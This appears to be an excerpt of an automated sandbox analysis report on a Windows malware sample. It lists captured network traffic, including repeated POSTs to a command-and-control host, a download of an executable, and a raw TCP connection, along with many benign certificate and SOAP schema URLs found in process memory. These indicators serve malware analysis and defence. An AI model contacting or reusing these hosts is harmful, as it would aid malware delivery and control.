Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://asoeevkt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nexfy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nhynvvhuci.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fidvajo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlbxh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ucgukugr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gkigcf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xlawrqy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fcpnyo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wiipas.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: aapu.at
Source: global traffic	HTTP traffic detected: GET /98.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h168121.srv21.test-hf.su
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ckwhbgoaop.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: aapu.at

Source: Joe Sandbox View

ASN Name: RTDBucharestRomaniaRO RTDBucharestRomaniaRO

Source: Joe Sandbox View	IP Address: 109.98.58.98 109.98.58.98
Source: Joe Sandbox View	IP Address: 109.98.58.98 109.98.58.98

Source: global traffic

TCP traffic: 192.168.2.4:49743 -> 51.210.161.21:36108

Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegSvcs.exe, 00000012.00000003.517039777.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegSvcs.exe, 00000012.00000002.637794131.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000012.00000002.638503159.0000000003280000.00000004.00001000.00020000.00000000.sdmp, re.exe.18.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegSvcs.exe, 00000012.00000002.637794131.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000012.00000002.638503159.0000000003280000.00000004.00001000.00020000.00000000.sdmp, re.exe.18.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegSvcs.exe, 00000012.00000002.637794131.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000012.00000002.638503159.0000000003280000.00000004.00001000.00020000.00000000.sdmp, re.exe.18.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
